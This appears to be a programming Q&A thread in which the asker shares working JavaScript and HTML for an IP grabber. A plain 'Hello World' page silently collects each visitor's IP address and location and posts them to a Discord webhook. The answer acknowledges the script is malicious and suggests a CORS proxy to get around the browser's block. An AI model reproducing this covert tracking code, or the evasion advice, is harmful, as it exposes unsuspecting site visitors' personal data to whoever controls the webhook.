I am working on a personal project and I was wondering why not use a kind of ip logger that logs the ip of a visitor and sends it to a Discord webhook. The code works, but only locally. I tried hosting the code on Glitch but i was getting this error in the console:
(site) deleted for privacy/:1 Access to XMLHttpRequest at 'https://discord.com/api/webhooks/(deleted for privacy)' from origin '(site) deleted for privacy' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. discord.com/api/webhooks/(deleted for privacy) Failed to load resource: net::ERR_FAILED
grab.js:
$.getJSON("https://ipgeolocation.abstractapi.com/v1/?api_key=(my api key)", function(data) { //Make sure to use this api or use another but you got to change the values down below var request = new XMLHttpRequest(); request.open("POST", "https://discord.com/api/webhooks/(the webhook)"); request.setRequestHeader('Content-type', 'application/json'); var t = { username: "gameJet posta", avatar_url: "https://www.origo.hu/i/1305/20130509-fogonosz-semion-mogilevich-orosz-maffiozo.jpg", content: "", embeds: [{ color: "4700374", title: "szia lajos", fields: [ {name: "Ip cim a latogatonak", value: data.ip_address}, {name: "varos", value: data.city}, {name: "orszag", value: data.country}, {name: "CONTINENT(nem tudom magyarul)", value: data.continent}, ], }] }; request.send(JSON.stringify(t)); })
index.html:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script> <!--- Keep or else the script won't work ---> </head> <body> <script src="grab.js"></script> <h1>Hello World</h1> </body> </html>
Advertisement
Answer
This answer covers most of the grounds of your error, to just be short I would like to diagnose your error for you and tell you this:
“No Access-Control-Allow-Origin header” problems ply through the CORS Policy as it considers your script malicious ( since it obviously is an IP grabber ) you can work your where around this via a CORS proxy which you can set up with the linked answer above.
Also Chromium does not allow CORS on localhost that’s why you weren’t facing the issue there.